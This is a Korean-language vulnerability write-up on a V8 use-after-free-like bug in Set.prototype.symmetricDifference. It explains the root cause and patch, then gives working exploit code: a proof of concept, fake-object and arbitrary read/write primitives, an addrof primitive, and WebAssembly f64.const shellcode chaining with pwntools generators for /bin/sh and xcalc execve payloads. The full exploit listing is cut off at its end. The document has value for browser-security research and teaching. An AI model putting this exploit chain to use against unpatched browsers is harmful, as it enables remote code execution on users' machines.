Environment Setting
V8
- V8 commit hash:
1976a3f375fb686a12d0577b0a01b164d8481414
- GN arguments (for debugging):
v8_no_inline=true v8_optimized_debug=false is_component_build=false
WABT
cd ~
git clone https://github.com/WebAssembly/wabt/
cd wabt
git submodule update --init
make
export PATH=$HOME/wabt/out/clang/Debug:$PATH
echo -e '\nexport PATH=$HOME/wabt/out/clang/Debug:$PATH' >> ~/.zshrc
Prerequisite Knowledges
JavaScript ES6 Harmony
ES(ECMAScript)는 JavaScript, JScript, ActionScript 등의 scripting language의 표준으로, 국제 표준화 기구 Ecma International (former: European Computer Manufacturers Association)에서 ECMA-262라는 이름으로 관리하고 있습니다.
ECMA-262는 1997년 6월에 1st edition이 출판되었으며, 2015년(6th edition)부터는 지속적으로 매년 6월마다 출판되고 있습니다. 6th edition부터는 ES 뒤에 출판 연도나 edition 번호를 붙여서 ES2015 또는 ES6의 형식으로 명명합니다.
https://ecma-international.org/news/ecma-international-approves-major-revision-of-ecmascript/
The last major revision of the ECMAScript standard was the Third Edition, published in 1999. After completion of the Third Edition, significant work was done to develop a Fourth Edition. Although development of a Fourth Edition was not completed, that work influenced ECMAScript, Fifth Edition and is continuing to influence the ongoing development of ECMAScript. Work on future ECMAScript editions continues as part of the previously announced ECMAScript Harmony project.
5th edition이 출판된 후, 미래의 ES edition들에 관한 작업이 ECMAScript Harmony project라는 이름으로 지속되었으며, 이에 따라 6th edition인 ES2015는 특별히 ES6 Harmony라고도 불립니다.
Harmony의 feature들은 현재까지도 V8에 완전히 구현되지 않은 상태라서 default feature가 아니며, 관련된 flag를 활성화해야 사용할 수 있습니다.
Chrome에서는 chrome://flags
에 접속하여 Experimental JavaScript를 Enabled로 설정한 후 Chrome을 재시작하면 Harmony의 feature들을 사용할 수 있습니다.
JavaScript Set
Set은 JavaScript에서 집합을 표현하는 class입니다.
집합은 서로 다른 대상들의 모임입니다. 따라서 Set에는 unique한 값들만 들어갈 수 있습니다.
두 Set의 관계성을 표현하는 method들은 7가지가 있습니다.
[set-methods] Add feature flag and union method (2023.05.30.)
[set-methods] Add intersection to set methods (2023.06.14.)
[set-methods] Add difference to set methods (2023.06.22.)
[set-methods] Add symmetricDifference (2023.06.28.)
[set-methods] Add isSubsetOf method (2023.07.26.)
[set-methods] Add isSupersetOf method (2023.07.28.)
[set-methods] Add isDisjointFrom to set methods (2023.08.01.)
이 method들은 Set뿐만 아니라 Set-like object에 대해서도 동작합니다. Set-like object는 Set으로 취급받기 위한 최소한의 조건을 갖춘 object로, size
property와 has()
, keys()
method를 가져야 합니다.
https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Set
All set methods require this to be an actual Set instance, but their arguments just need to be set-like. A set-like object is an object that provides the following:
A
size
property that contains a number.A
has()
method that takes an element and returns a boolean.A
keys()
method that returns an iterator of the elements in the set.
Memory structure of Set
let s = new Set();
% DebugPrint(s);
Set은 element들을 OrderedHashSet
형식의 table에 저장합니다.
- elements: 현재 저장된 element의 개수
- deleted: 삭제된 element의 개수
- buckets: Element들을 저장할 bucket의 개수 (항상 2의 거듭제곱)
- capacity: 최대로 저장할 수 있는 element의 개수 (bucket의 2배)
Set을 clear하거나 elements가 capacity를 초과하여 Set이 grow되어야 할 경우, table이 새로 할당됩니다.
/* src/objects/objects.cc */
void JSSet::Clear(Isolate* isolate, Handle<JSSet> set) {
Handle<OrderedHashSet> table(OrderedHashSet::cast(set->table()), isolate);
table = OrderedHashSet::Clear(isolate, table);
set->set_table(*table);
}
/* src/runtime/runtime-collections.cc */
RUNTIME_FUNCTION(Runtime_SetGrow) {
...
holder->set_table(*table);
return ReadOnlyRoots(isolate).undefined_value();
}
let s = new Set();
% DebugPrint(s);
s.add(0); // elements: 1, capacity: 4
s.add(1); // elements: 2, capacity: 4
s.add(2); // elements: 3, capacity: 4
s.add(3); // elements: 4, capacity: 4
s.add(4); // elements: 5, capacity: 8 (grow)
% DebugPrint(s);
s.clear(); // elements: 0, capacity: 4
% DebugPrint(s);
Table의 elements는 원래 저장된 element의 개수를 의미하는데, 새로운 table이 할당되면 기존의 table의 elements에는 새로운 table의 주소가 저장됩니다.
/* src/objects/ordered-hash-table.cc */
template <class Derived, int entrysize>
Handle<Derived> OrderedHashTable<Derived, entrysize>::Clear(
Isolate* isolate, Handle<Derived> table) {
...
if (table->NumberOfBuckets() > 0) {
// Don't try to modify the empty canonical table which lives in RO space.
table->SetNextTable(*new_table);
table->SetNumberOfDeletedElements(kClearedTableSentinel);
}
return new_table;
}
template <class Derived, int entrysize>
MaybeHandle<Derived> OrderedHashTable<Derived, entrysize>::Rehash(
Isolate* isolate, Handle<Derived> table, int new_capacity) {
...
if (table->NumberOfBuckets() > 0) {
// Don't try to modify the empty canonical table which lives in RO space.
table->SetNextTable(*new_table);
}
return new_table_candidate;
}
Analysis
Code flow
Set의 symmetricDifference()
method에서 버그가 발생합니다.
/* src/builtins/set-symmetric-difference.tq */
// https://tc39.es/proposal-set-methods/#sec-set.prototype.symmetricdifference
transitioning javascript builtin SetPrototypeSymmetricDifference(
js-implicit context: NativeContext, receiver: JSAny)(other: JSAny): JSSet {
const methodName: constexpr string = 'Set.prototype.symmetricDifference';
const fastIteratorResultMap = GetIteratorResultMap();
// 1. Let O be the this value.
// 2. Perform ? RequireInternalSlot(O, [[SetData]]).
const o = Cast<JSSet>(receiver) otherwise
ThrowTypeError(
MessageTemplate::kIncompatibleMethodReceiver, methodName, receiver);
// 3. Let otherRec be ? GetSetRecord(other).
let otherRec = GetSetRecord(other, methodName);
...
Set a
와 b
에 대하여 a.symmetricDifference(b)
를 호출했을 때, receiver
는 a
이고 other
은 b
입니다. o
는 receiver
가 Set이 아닌 Set-like object인 경우에 JSSet
으로 cast한 object이고, otherRec
은 other
의 Set record입니다.
/* src/builtins/set-symmetric-difference.tq */
// https://tc39.es/proposal-set-methods/#sec-set.prototype.symmetricdifference
transitioning javascript builtin SetPrototypeSymmetricDifference(
js-implicit context: NativeContext, receiver: JSAny)(other: JSAny): JSSet {
...
const table = Cast<OrderedHashSet>(o.table) otherwise unreachable;
// 4. Let keysIter be ? GetKeysIterator(otherRec).
let keysIter =
GetKeysIterator(otherRec.object, UnsafeCast<Callable>(otherRec.keys));
...
table
은 o
(receiver
)의 table이고, keysIter
는 other
의 keys()
method의 반환값입니다.
/* src/builtins/collections.tq */
// https://tc39.es/proposal-set-methods/#sec-getkeysiterator
transitioning macro GetKeysIterator(
implicit context: Context)(set: JSReceiver,
keys: Callable): iterator::IteratorRecord {
// 1. Let keysIter be ? Call(setRec.[[Keys]], setRec.[[Set]]).
const keysIter = Call(context, keys, set);
...
GetKeysIterator()
는 내부적으로 other
의 keys()
method를 호출합니다.
/* src/builtins/set-symmetric-difference.tq */
// https://tc39.es/proposal-set-methods/#sec-set.prototype.symmetricdifference
transitioning javascript builtin SetPrototypeSymmetricDifference(
js-implicit context: NativeContext, receiver: JSAny)(other: JSAny): JSSet {
...
// 5. Let resultSetData be a copy of O.[[SetData]].
const resultSetData = Cast<OrderedHashSet>(CloneFixedArray(
table, ExtractFixedArrayFlag::kFixedArrays)) otherwise unreachable;
let resultAndNumberOfElements = OrderedHashSetAndNumberOfElements{
setData: resultSetData,
numberOfElements: UnsafeCast<Smi>(
resultSetData.objects[kOrderedHashSetNumberOfElementsIndex])
};
try {
typeswitch (other) {
case (otherSet: JSSetWithNoCustomIteration): {
CheckSetRecordHasJSSetMethods(otherRec) otherwise SlowPath;
const otherTable =
Cast<OrderedHashSet>(otherSet.table) otherwise unreachable;
let otherIterator =
collections::NewUnmodifiedOrderedHashSetIterator(otherTable);
while (true) {
const nextValue = otherIterator.Next() otherwise Done;
resultAndNumberOfElements = FastSymmetricDifference(
nextValue, table, resultAndNumberOfElements, methodName);
}
}
...
}
} label SlowPath {
...
} label Done {
const shrunk = ShrinkOrderedHashSetIfNeeded(
resultAndNumberOfElements.numberOfElements,
resultAndNumberOfElements.setData);
return new JSSet{
map: *NativeContextSlot(ContextSlot::JS_SET_MAP_INDEX),
properties_or_hash: kEmptyFixedArray,
elements: kEmptyFixedArray,
table: shrunk
};
}
unreachable;
}
resultSetData
는 symmetricDifference()
가 반환할 Set의 table입니다. 먼저 앞에서 가져온 receiver
의 table을 clone한 후, keysIter
에서 각각의 element에 대하여 FastSymmetricDifference()
를 호출합니다.
/* src/builtins/set-symmetric-difference.tq */
macro FastSymmetricDifference(
implicit context: Context)(nextValue: JSAny, table: OrderedHashSet,
resultSetDataAndNumberOfElements: OrderedHashSetAndNumberOfElements,
methodName: constexpr string): OrderedHashSetAndNumberOfElements {
let key = nextValue;
let resultSetData = resultSetDataAndNumberOfElements.setData;
let numberOfElements = resultSetDataAndNumberOfElements.numberOfElements;
// ii. If nextValue is -0𝔽, set nextValue to +0𝔽.
key = collections::NormalizeNumberKey(key);
// iii. Let inResult be SetDataHas(resultSetData, nextValue).
const inResult = TableHasKey(resultSetData, key);
// iv. If SetDataHas(O.[[SetData]], nextValue) is true, then
dcheck(inResult == TableHasKey(table, key));
// 1. If inResult is true, remove nextValue from resultSetData.
if (inResult) {
numberOfElements = DeleteFromSetTable(resultSetData, key)
otherwise unreachable;
} else {
// v. Else,
// 1. If inResult is false, append nextValue to resultSetData.
resultSetData = AddToSetTable(resultSetData, key, methodName);
numberOfElements++;
}
return OrderedHashSetAndNumberOfElements{
setData: resultSetData,
numberOfElements: numberOfElements
};
}
symmetricDifference()
는 두 Set의 합집합에서 교집합을 빼는 연산입니다. 따라서 FastSymmetricDifference()
는 other
의 element가 receiver
에 존재하면 삭제하고, 존재하지 않으면 추가하는 작업을 수행합니다.
Bug
/* src/builtins/set-symmetric-difference.tq */
// https://tc39.es/proposal-set-methods/#sec-set.prototype.symmetricdifference
transitioning javascript builtin SetPrototypeSymmetricDifference(
js-implicit context: NativeContext, receiver: JSAny)(other: JSAny): JSSet {
...
const table = Cast<OrderedHashSet>(o.table) otherwise unreachable;
// 4. Let keysIter be ? GetKeysIterator(otherRec).
let keysIter =
GetKeysIterator(otherRec.object, UnsafeCast<Callable>(otherRec.keys));
...
receiver
의 table을 가져오고 나서 other
의 keys()
를 호출하는데, other
의 keys()
method를 재정의하여 내부에서 receiver
의 table이 새로 할당되도록 만들 수 있습니다. 하지만 symmetricDifference()
의 결과로 반환되는 Set에는 table
변수에 저장되어 있던 기존의 table이 그대로 들어가게 되어 UAF와 유사한 상황이 발생합니다.
Patch
SetPrototypeSymmetricDifference()
에서 table
와 keysIter
를 가져오는 코드의 순서를 서로 바꾸는 패치가 진행되었습니다.
Proof of Concept
let receiver = new Set();
let other = new Set();
other.keys = () => {
receiver.clear(); // allocate new table
return other[Symbol.iterator](); // match return type (Set Iterator)
}
let result = receiver.symmetricDifference(other);
% DebugPrint(result);
other.keys()
에서 receiver.clear()
를 호출하여 receiver
의 table이 새로 할당되도록 합니다. 반환값인 other[Symbol.iterator]()
는 other.values()
와 동일한데, type을 Set Iterator
로 맞춰서 TypeError를 피하기 위함입니다.
Release build에서 디버깅해 보겠습니다.
result
의 table은 receiver.clear()
가 호출되기 이전의 table이지만 버그로 인해 새로 할당된 table로 교체되지 않았고, table의 elements 필드에는 element의 개수가 아니라 새로 할당된 table의 주소가 저장되어 있습니다.
이 상태에서 result.size
에 접근하면 table의 elements 필드의 값을 읽어오는데,
/* src/builtins/builtins-collections-gen.cc */
TF_BUILTIN(SetPrototypeGetSize, CollectionsBuiltinsAssembler) {
const auto receiver = Parameter<Object>(Descriptor::kReceiver);
const auto context = Parameter<Context>(Descriptor::kContext);
ThrowIfNotInstanceType(context, receiver, JS_SET_TYPE,
"get Set.prototype.size");
const TNode<OrderedHashSet> table =
LoadObjectField<OrderedHashSet>(CAST(receiver), JSSet::kTableOffset);
Return(LoadObjectField(table, OrderedHashSet::NumberOfElementsOffset()));
}
let receiver = new Set();
let other = new Set();
other.keys = () => {
receiver.clear(); // allocate new table
return other[Symbol.iterator](); // match return type (Set Iterator)
}
let result = receiver.symmetricDifference(other);
% DebugPrint(result.size);
마지막 비트가 1이기 때문에 SMI가 아니라 object 형식으로 가져오게 되어 type confusion이 발생합니다.
Exploit
Helpers
/* helpers */
let fi_buf = new ArrayBuffer(8); // shared buffer
let f_buf = new Float64Array(fi_buf); // buffer for float
let i_buf = new BigUint64Array(fi_buf); // buffer for bigint
// convert float to bigint
function ftoi(f) {
f_buf[0] = f;
return i_buf[0];
}
// convert bigint to float
function itof(i) {
i_buf[0] = i;
return f_buf[0];
}
// convert bigint to hex string
function hex(i) {
return '0x' + i.toString(16);
}
Generate fake object
Table의 elements 필드에는 Set의 element의 개수가 SMI 형식으로 저장되어 있기 때문에, Set에서 element를 삭제하면 elements 필드의 값이 2만큼 감소합니다. 따라서 앞의 PoC에서 result
가 비어 있는 Set이 아니라면 result
에서 element를 삭제하여 result.size
로 가져오는 object의 주소를 조절할 수 있습니다. 즉, result
의 table보다 낮은 임의의 주소에 fake object를 생성할 수 있습니다.
let receiver = new Set();
let other = new Set();
for (let i = 0; i < 16; i++) { receiver.add(i); } // elements: 16, capacity: 16
other.keys = () => {
receiver.add(16); // elements: 17, capacity: 32 (grow, allocate new table)
return other[Symbol.iterator](); // match return type (Set Iterator)
}
let result = receiver.symmetricDifference(other);
% DebugPrint(result.size);
for (let i = 0; i < 8; i++) { result.delete(i); }
% DebugPrint(result.size);
Arbitrary address read/write
Fake Array structure를 만들고 그 위치에 fake object를 생성하면, elements 필드에 V8 sandbox 내부의 임의의 주소를 넣어서 값을 읽거나 쓸 수 있습니다.
Fake Array structure를 만들 때, PACKED_DOUBLE_ELEMENTS
Map이나 FixedArray[0]
등의 default value들의 주소는 실행할 때마다 변하지 않는다는 점을 이용할 수 있습니다.
let receiver = new Set();
let other = new Set();
for (let i = 0; i < 32; i++) { receiver.add(i); } // elements: 32, capacity: 32
let fake_arr_struct;
other.keys = () => {
fake_arr_struct = [1.1, 2.2];
receiver.add(32); // elements: 33, capacity: 64 (grow, allocate new table)
return other[Symbol.iterator](); // match return type (Set Iterator)
}
let result = receiver.symmetricDifference(other);
let map = 0x18efb1n; // PACKED_DOUBLE_ELEMENTS
let properties = 0x6cdn; // FixedArray[0]
let elements = 0x41414141n; // arbitrary address
let length = 1n << 1n; // length: 1
fake_arr_struct[0] = itof(map | properties << 32n);
fake_arr_struct[1] = itof(elements | length << 32n);
for (let i = 0; i < 0x10; i++) { result.delete(i); }
let fake_arr = result.size;
/* arbitrary address read */
function aar(addr) {
elements = addr - 8n + 1n;
fake_arr_struct[1] = itof(elements | length << 32n);
return fake_arr[0];
}
/* leak V8 base */
let v8base = (ftoi(aar(0x24n)) & 0xffffffffn) << 32n;
console.log('[+] V8 base: ' + hex(v8base));
/* arbitrary address write */
function aaw(addr, value) {
elements = addr - 8n + 1n;
fake_arr_struct[1] = itof(elements | length << 32n);
fake_arr[0] = itof(value);
}
Get address of object
Object들의 주소는 실행할 때마다 변할 수 있지만, 그 범위는 정해져 있습니다.
fake_arr
에 marker를 삽입하여 runtime에 메모리에서 marker를 탐색하면 fake_arr
의 주소를 구할 수 있습니다.
let receiver = new Set();
let other = new Set();
for (let i = 0; i < 32; i++) { receiver.add(i); } // elements: 32, capacity: 32
let fake_arr_struct;
other.keys = () => {
fake_arr_struct = [1.1, 2.2, 3.3];
receiver.add(32); // elements: 33, capacity: 64 (grow, allocate new table)
return other[Symbol.iterator](); // match return type (Set Iterator)
}
let result = receiver.symmetricDifference(other);
let map = 0x18efb1n; // PACKED_DOUBLE_ELEMENTS
let properties = 0x6cdn; // FixedArray[0]
let elements = 0x41414141n; // arbitrary address
let length = 1n << 1n; // length: 1
fake_arr_struct[1] = itof(map | properties << 32n);
fake_arr_struct[2] = itof(elements | length << 32n);
for (let i = 0; i < 0x10; i++) { result.delete(i); }
let fake_arr = result.size;
/* arbitrary address read */
function aar(addr) {
elements = addr - 8n + 1n;
fake_arr_struct[2] = itof(elements | length << 32n);
return fake_arr[0];
}
// /* leak V8 base */
// let v8base = (ftoi(aar(0x24n)) & 0xffffffffn) << 32n;
// console.log('[+] V8 base: ' + hex(v8base));
/* arbitrary address write */
function aaw(addr, value) {
elements = addr - 8n + 1n;
fake_arr_struct[2] = itof(elements | length << 32n);
fake_arr[0] = itof(value);
}
let marker;
let leaked;
/* leak address of fake_arr */
marker = 0x4141414141414141n
fake_arr_struct[0] = itof(marker);
let fake_arr_addr = 0x4a000n;
for (let i = 0; i < 0x1000; i++) {
leaked = ftoi(aar(fake_arr_addr));
if (leaked == marker) break;
fake_arr_addr += 4n;
}
fake_arr_addr += 8n;
console.log('[+] address of fake_arr: ' + hex(fake_arr_addr));
0x40000
부터 탐색하면 이론상 100%의 reliability를 보장할 수 있지만, 탐색 과정을 너무 많이 반복하면 garbage collection이 진행되어 주소가 변합니다. 경험적으로 fake_arr
의 주소가 0x4a000
이하로 내려가지 않았기 때문에 0x4a000
부터 탐색하도록 하였고, 실제로 테스트 결과 한 번도 실패하지 않았습니다.
Object array를 fake_arr
의 뒤쪽에 할당하고 object array에 fake_arr
을 넣으면 fake_arr
의 주소가 object array의 주소를 구하는 marker 역할을 할 수 있습니다. fake_arr
부터 시작하여 메모리에서 fake_arr
의 주소를 탐색하면 object array의 주소를 구할 수 있습니다.
let fake_arr_struct;
let obj_arr;
other.keys = () => {
fake_arr_struct = [1.1, 2.2, 3.3];
receiver.add(32); // elements: 33, capacity: 64 (grow, allocate new table)
obj_arr = [{}];
return other[Symbol.iterator](); // match return type (Set Iterator)
}
/* leak address of obj_arr[0] */
marker = fake_arr_addr + 1n;
obj_arr[0] = fake_arr;
let obj_arr_addr = fake_arr_addr + 0x30n;
for (let i = 0; i < 0x1000; i++) {
leaked = ftoi(aar(obj_arr_addr)) & 0xffffffffn;
if (leaked == marker) break;
obj_arr_addr += 4n;
}
console.log('[+] address of obj_arr[0]: ' + hex(obj_arr_addr));
Object array에 임의의 object를 넣고, obj_arr[0]
에 저장된 값을 읽으면 임의의 object의 주소를 얻을 수 있습니다.
/* get address of object */
function addrof(obj) {
obj_arr[0] = obj;
return ftoi(aar(obj_arr_addr)) & 0xffffffffn;
}
let tmp_obj = {};
console.log(hex(addrof(tmp_obj)));
Execute shellcode using WebAssembly
WebAssembly의 f64.const
instruction이 컴파일되면 상수가 그대로 코드에 삽입됩니다. 이 과정을 따라가 보겠습니다.
# read_wasm.py
with open('test.wasm', 'rb') as f:
wasmCode = f.read()
wasmCode_arr = []
for c in wasmCode:
wasmCode_arr.append(c)
print(wasmCode_arr)
let wasmCode = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 4, 1, 96, 0, 0, 3, 2, 1, 0, 7, 8, 1, 4, 109, 97, 105, 110, 0, 0, 10, 23, 1, 21, 0, 68, 65, 65, 65, 65, 65, 65, 65, 65, 68, 66, 66, 66, 66, 66, 66, 66, 66, 15, 11]);
let wasmModule = new WebAssembly.Module(wasmCode);
let wasmInstance = new WebAssembly.Instance(wasmModule);
let main = wasmInstance.exports.main;
main()
을 처음 호출하면 lazy compilation을 진행한 후 jump table의 주소를 가져와서 r15
에 넣고 점프합니다. 따라가 보면,
Jump table로부터 0x800
만큼 떨어진 위치부터 main()
의 instruction이 저장되며, f64.const
로 넣은 상수가 코드에 그대로 삽입된 것을 확인할 수 있습니다.
이를 이용하여 shellcode를 삽입하고, wasmInstance
의 jump_table_start
필드를 shellcode의 시작 주소로 덮어쓰면 그 위치로 점프하게 됩니다. 연속적으로는 8바이트까지밖에 넣을 수 없기 때문에 jmp
instruction을 이용하여 여러 개의 shellcode를 chaining하여 임의의 shellcode를 실행시킬 수 있습니다.
한 가지 주의할 점은, 만약 같은 상수를 여러 번 넣게 되면,
이미 이전에 삽입되어 있는 상수를 메모리에서 가져와서 다시 사용하기 때문에 shellcode의 역할을 할 수 없게 됩니다. 따라서 같은 shellcode를 여러 번 반복해야 한다면 NOP sled의 위치를 조절하여 다른 상수가 되도록 만들어야 합니다.
# shellcode_sh.py
from binascii import hexlify
from pwn import context, asm
context(arch='amd64')
jmp = b'\xeb\x07' # jmp 0x7
shellcode = []
# rdi == "/bin/sh"
shellcode.append(asm(f'''
push {int(hexlify(b'/bin'[::-1]), 16)}
pop rax
'''))
shellcode.append(asm(f'''
push {int(hexlify(b'/sh'[::-1]), 16)}
pop rbx
'''))
shellcode.append(asm(f'''
shl rbx, 32
'''))
shellcode.append(asm(f'''
add rax, rbx
push rax
'''))
shellcode.append(asm(f'''
mov rdi, rsp
'''))
# rax == 0x3b
shellcode.append(asm(f'''
xor rax, rax
mov al, 0x3b
'''))
# rsi == 0, rdx == 0
shellcode.append(asm(f'''
xor rsi, rsi
xor rdx, rdx
syscall
'''))
for i in range(len(shellcode)):
shellcode[i] = shellcode[i].ljust(6, b'\x90') # NOP padding
if i != len(shellcode) - 1:
shellcode[i] += jmp
shellcode[i] = int(hexlify(shellcode[i][::-1]), 16)
print(hex(shellcode[i]))
# shellcode_calc.py
from binascii import hexlify
from pwn import context, asm
context(arch='amd64')
jmp = b'\xeb\x07' # jmp 0x7
shellcode = []
# rdi == "/usr/bin/xcalc", rsi == 0
shellcode.append(asm(f'''
xor rbx, rbx
xor rcx, rcx
'''))
shellcode.append(asm(f'''
mov ebx, {int(hexlify(b'lc'[::-1]), 16)}
'''))
shellcode.append(asm(f'''
shl rbx, 32
'''))
shellcode.append(asm(f'''
mov ecx, {int(hexlify(b'/xca'[::-1]), 16)}
'''))
shellcode.append(asm(f'''
add rbx, rcx
push rbx
'''))
shellcode.append(asm(f'''
mov ebx, {int(hexlify(b'/bin'[::-1]), 16)}
'''))
shellcode.append(asm(f'''
shl rbx, 32
'''))
shellcode.append(asm(f'''
mov ecx, {int(hexlify(b'/usr'[::-1]), 16)}
'''))
shellcode.append(asm(f'''
add rbx, rcx
push rbx
'''))
shellcode.append(asm(f'''
mov rdi, rsp
xor rsi, rsi
'''))
# rbx == "DISPLAY=:0"
shellcode.append(asm(f'''
mov ebx, {int(hexlify(b':0'[::-1]), 16)}
push rbx
'''))
shellcode.append(asm(f'''
mov ebx, {int(hexlify(b'LAY='[::-1]), 16)}
'''))
shellcode.append(asm(f'''
shl rbx, 32
'''))
shellcode.append(asm(f'''
mov ecx, {int(hexlify(b'DISP'[::-1]), 16)}
'''))
shellcode.append(asm(f'''
add rbx, rcx
push rbx
'''))
shellcode.append(asm(f'''
mov rbx, rsp
'''))
# rdx == ["DISPLAY=:0", 0]
shellcode.append(asm(f'''
push 0
push rbx
mov rdx, rsp
'''))
shellcode.append(asm(f'''
xor rsi, rsi
xor rax, rax
'''))
shellcode.append(asm(f'''
mov al, 0x3b
syscall
'''))
for i in range(len(shellcode)):
shellcode[i] = shellcode[i].ljust(6, b'\x90') # NOP padding
if i != len(shellcode) - 1:
shellcode[i] += jmp
shellcode[i] = int(hexlify(shellcode[i][::-1]), 16)
print(hex(shellcode[i]))
빨간 박스와 파란 박스는 각각 동일한 상수들입니다. NOP
이 2개씩 들어가 있기 때문에, 위치를 조절하여 모두 다른 상수로 만들어 줍니다.
let shellcode = [
0x7ebc93148db3148n,
0x7eb900000636cbbn,
0x7eb909020e3c148n,
0x7eb906163782fb9n,
0x7eb909053cb0148n,
0x7eb906e69622fbbn,
0x7eb9020e3c14890n,
0x7eb907273752fb9n,
0x7eb9053cb014890n,
0x7ebf63148e78948n,
0x7eb530000303abbn,
0x7eb903d59414cbbn,
0x7eb20e3c1489090n,
0x7eb9050534944b9n,
0x7eb53cb01489090n,
0x7eb909090e38948n,
0x7ebe2894853006an,
0x7ebc03148f63148n,
0x9090050f3bb0n
]
for (let i = 0; i < shellcode.length; i++) console.log('f64.const ' + itof(shellcode[i]));
let wasmCode = new Uint8Array[0, 97, 115, 109, 1, 0, 0, 0, 1, 4, 1, 96, 0, 0, 3, 2, 1, 0, 7, 8, 1, 4, 109, 97, 105, 110, 0, 0, 10, 177, 1, 1, 174, 1, 0, 68, 72, 49, 219, 72, 49, 201, 235, 7, 68, 187, 108, 99, 0, 0, 144, 235, 7, 68, 72, 193, 227, 32, 144, 144, 235, 7, 68, 185, 47, 120, 99, 97, 144, 235, 7, 68, 72, 1, 203, 83, 144, 144, 235, 7, 68, 187, 47, 98, 105, 110, 144, 235, 7, 68, 144, 72, 193, 227, 32, 144, 235, 7, 68, 185, 47, 117, 115, 114, 144, 235, 7, 68, 144, 72, 1, 203, 83, 144, 235, 7, 68, 72, 137, 231, 72, 49, 246, 235, 7, 68, 187, 58, 48, 0, 0, 83, 235, 7, 68, 187, 76, 65, 89, 61, 144, 235, 7, 68, 144, 144, 72, 193, 227, 32, 235, 7, 68, 185, 68, 73, 83, 80, 144, 235, 7, 68, 144, 144, 72, 1, 203, 83, 235, 7, 68, 72, 137, 227, 144, 144, 144, 235, 7, 68, 106, 0, 83, 72, 137, 226, 235, 7, 68, 72, 49, 246, 72, 49, 192, 235, 7, 68, 176, 59, 15, 5, 144, 144, 0, 0, 15, 11]);
let wasmModule = new WebAssembly.Module(wasmCode);
let wasmInstance = new WebAssembly.Instance(wasmModule);
let main = wasmInstance.exports.main;
8번째 상수까지는 레지스터에 저장하는데, 9번째부터는 레지스터를 재사용하기 위해 레지스터의 값을 스택에 백업하는 코드가 추가되어 shellcode 간의 거리가 늘어납니다. 계산해 보면 7바이트가 아니라 12바이트만큼 점프해야 합니다. 따라서 8번째 상수부터는 상위 2바이트가 0x7eb
가 아니라 0xceb
가 되어야 합니다.
let shellcode = [
0x7ebc93148db3148n,
0x7eb900000636cbbn,
0x7eb909020e3c148n,
0x7eb906163782fb9n,
0x7eb909053cb0148n,
0x7eb906e69622fbbn,
0x7eb9020e3c14890n,
0xceb907273752fb9n,
0xceb9053cb014890n,
0xcebf63148e78948n,
0xceb530000303abbn,
0xceb903d59414cbbn,
0xceb20e3c1489090n,
0xceb9050534944b9n,
0xceb53cb01489090n,
0xceb909090e38948n,
0xcebe2894853006an,
0xcebc03148f63148n,
0x9090050f3bb0n
]
for (let i = 0; i < shellcode.length; i++) console.log('f64.const ' + itof(shellcode[i]));
# read_wasm.py
with open('ex.wasm', 'rb') as f:
wasmCode = f.read()
wasmCode_arr = []
for c in wasmCode:
wasmCode_arr.append(c)
print(wasmCode_arr)
Full exploit
/* helpers */
let fi_buf = new ArrayBuffer(8); // shared buffer
let f_buf = new Float64Array(fi_buf); // buffer for float
let i_buf = new BigUint64Array(fi_buf); // buffer for bigint
// convert float to bigint
function ftoi(f) {
f_buf[0] = f;
return i_buf[0];
}
// convert bigint to float
function itof(i) {
i_buf[0] = i;
return f_buf[0];
}
// convert bigint to hex string
function hex(i) {
return '0x' + i.toString(16);
}
let receiver = new Set();
let other = new Set();
for (let i = 0; i < 32; i++) { receiver.add(i); } // elements: 32, capacity: 32
let fake_arr_struct;
let obj_arr;
other.keys = () => {
fake_arr_struct = [1.1, 2.2, 3.3];
receiver.add(32); // elements: 33, capacity: 64 (grow, allocate new table)
obj_arr = [{}];
return other[Symbol.iterator](); // match return type (Set Iterator)
}
let result = receiver.symmetricDifference(other);
let map = 0x18efb1n; // PACKED_DOUBLE_ELEMENTS
let properties = 0x6cdn; // FixedArray[0]
let elements = 0x41414141n; // arbitrary address
let length = 1n << 1n; // length: 1
fake_arr_struct[1] = itof(map | properties << 32n);
fake_arr_struct[2] = itof(elements | length << 32n);
for (let i = 0; i < 0x10; i++) { result.delete(i); }
let fake_arr = result.size;
/* arbitrary address read */
function aar(addr) {
elements = addr - 8n + 1n;
fake_arr_struct[2] = itof(elements | length << 32n);
return fake_arr[0];
}
// /* leak V8 base */
// let v8base = (ftoi(aar(0x24n)) & 0xffffffffn) << 32n;
// console.log('[+] V8 base: ' + hex(v8base));
/* arbitrary address write */
function aaw(addr, value) {
elements = addr - 8n + 1n;
fake_arr_struct[2] = itof(elements | length << 32n);
fake_arr[0] = itof(value);
}
let marker;
let leaked;
/* leak address of fake_arr */
marker = 0x4141414141414141n
fake_arr_struct[0] = itof(marker);
let fake_arr_addr = 0x4a000n;
for (let i = 0; i < 0x1000; i++) {
leaked = ftoi(aar(fake_arr_addr));
if (leaked == marker) break;
fake_arr_addr += 4n;
}
fake_arr_addr += 8n;
// console.log('[+] address of fake_arr: ' + hex(fake_arr_addr));
/* leak address of obj_arr[0] */
marker = fake_arr_addr + 1n;
obj_arr[0] = fake_arr;
let obj_arr_addr = fake_arr_addr + 0x30n;
for (let i = 0; i < 0x1000; i++) {
leaked = ftoi(aar(obj_arr_addr)) & 0xffffffffn;
if (leaked == marker) break;
obj_arr_addr += 4n;
}
// console.log('[+] address of obj_arr[0]: ' + hex(obj_arr_addr));
/* get address of object */
function addrof(obj) {
obj_arr[0] = obj;
return ftoi(aar(obj_arr_addr)) & 0xffffffffn;
}
/* execve("/usr/bin/xcalc", 0, ["DISPLAY=:0", 0]) */
